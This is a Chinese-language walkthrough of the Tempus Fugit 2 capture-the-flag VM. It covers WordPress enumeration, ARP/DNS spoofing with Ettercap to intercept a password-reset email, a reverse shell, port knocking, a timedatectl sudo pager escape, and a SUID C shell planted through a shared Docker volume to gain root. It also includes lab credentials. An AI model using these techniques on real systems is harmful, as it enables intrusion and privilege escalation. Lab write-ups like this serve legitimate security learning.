Tempus Fugit 2 靶机练习

使用NMAP扫描,发现只开放了22和80端口

 访问网站查看网页源代码没发现有用的信息,但发现该网站是由wordpress搭建,网站使用的域名为:tf2

添加域名解析,然后使用wpscan进行扫描,未发现可利用的信息或漏洞,只得到两个用户名:admin、tommy

添加域名解析:echo "192.168.56.10 tf2" >> /etc/hosts

使用wpscan扫描:wpscan --url http://tf2/ --enumerate u

尝试使用Hydra将tommy作为用户名进行ssh爆破,但发现22端口无法访问

 使用gobuster扫描目录,也没发现有用的文件,重新浏览网站

 访问网站的后台登录页面的时候,发现忘记密码功能是生效的

使用wireshark抓包,查看到发送的域名地址为:smtp.tempusfugit2.com

 由于忘记密码功能可用,这里通过DNS劫持获得忘记密码功能发送的密码重置邮件信息,重置admin密码(注意:由于靶机是通过DHCP获取的,要确保靶机有DNS地址)

查找etter.dns文件位置,编辑etter.dns文件,添加smtp.tempusfugit2.com域名信息

查找etter.dns文件位置:locate etter.dns
编辑etter.dns文件:vi /etc/ettercap/etter.dns

添加以下信息:(注意:图片中的IP地址为攻击主机(Kali)的地址)

 打开Ettercap,扫描该网段的地址,然后将靶机地址(192.168.56.10)设置为Target1,DNS服务器地址(192.168.56.2)设置为Target2

 设置Ettercap Menu和MITM

Ettercap Menu->Plugins->Manage plugins->dns_spoof(双击)

MITM->ARPpoisoning->Sniff remote conncetions(选择)->OK(选择)

使用python开启SMTP服务来获取密码重置邮件

 开启SMTP服务:python -m aiosmtpd --nosetuid -l 192.168.56.2:25

 重新发送密码重置邮件,成功获取邮件

 使用邮件的链接重置admin密码,然后登录后台管理界面

通过常用的wordpress后台getshell方法,然后通过反弹shell连接,具体方法这里不做介绍

连接反弹shell后,查看wordpress的配置文件/var/www/html/wp-,得到连接数据库的账户/密码:ElvisP/super.Secret.SQL.Password.For.ElvisP

 查看home目录,没有存在其他用户,sudo -l 提示没有找到命令,查看SUID权限没有找到可利用的提权文件,使用pspy64s没有找到可疑的进程。

最后在/var/www/html/wp-content/TFDocuments/发现nb.txt存在可疑的信息:YW5zdGljZTo5bTRsdzByODJsbjYK,使用base64解码得到:anstice:9m4lw0r82ln6

看起来像是账号密码,但是home目录下也没有其他用户信息,尝试登录root用户但提示没有su命令,最后在后台管理界面的Accessing the server帖子中发现了提示的内容

根据内容的提示需要使用knock打开相关的端口,端口的信息是released and Jenny's number这首歌曲的发行时间和号码:1981 867 5309

 根据以上的数字进行端口敲击,可是未发现新增的端口,但是22端口却可以访问了,尝试刚刚base64解码的账号密码,成功登录

knock敲击端口:knock 192.168.56.10 1981 867 5309

登录后居然可以直接访问/root,但是/root路径下没有flag只存在脚本proof.sh和文件夹 wp,脚本需要root权限执行,wp文件夹可以访问,访问后发现有一个wp-content类似网站的备份文件夹

执行sudo -l,发现当前用户具有asghar用户的/usr/bin/timedatectl免密执行权限,使用timedatectl提权到asghar用户

timedatectl提权:

sudo -u asghar /usr/bin/timedatectl list-timezones

!/bin/bash

 在/home/asghar/路径中获得第一个flag(user.txt)

查看 /home/asghar/路径的list文件,显示docker信息,第1个是网站的容器,第2个是数据库的容器

 查看当前的docker运行信息,提示没有权限,sudo -l需要密码,于是尝试爆破asghar的密码,爆破出密码为:barney

登录asghar用户然后执行sudo -l,该用户具有root权限免密执行/usr/bin/docker exec *,根据刚刚list文件的内容,通过容器ID登录容器中查看

登录容器:sudo /usr/bin/docker exec -it 1786dd63dedb bash

根据之前root路径下有一个网站的wp-content文件夹,怀疑是主机与容器共享一个文件夹,通过刚刚的反弹shell(www-data用户权限)在/var/www/html/wp-content文件夹下面创建一个文件,
然后回来查看/root/wp/wp-content/文件夹确实多了一个文件

由于网站的容器里面wp-content文件夹与主机的/root/wp/wp-content/是相互共享的,我们可以通过容器里的root权限制作一个拥有SUID权限的提权文件,然后放入wp-content文件夹中,之后在主机上执行该权限进行提权

1.编写提权文件

vi shell.c

int main(void) {
       setgid(0); setuid(0);
       execl("/bin/sh","sh",0);
}

 2.添加/wp-content/的写权限

3.使用scp将shell.c文件放入/wp-conten文件夹中(注意:IP地址和路径根据实际情况填写

 4.进入容器编译shell文件,然后修改文件的用户和用户组并且赋予SUID权限

进入容器:sudo /usr/bin/docker exec -it 1786dd63dedb bash
编译文件:cd wp-content/ && gcc shell.c -o shell
修改文件用户和用户组:chown root.root shell
赋予SUID权限:chmod 4755 shell

5.退出容器,进入/root/wp/wp-content文件夹执行shell文件,获得root权限 

 6.执行/root/proof.sh脚本,获得最终的flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值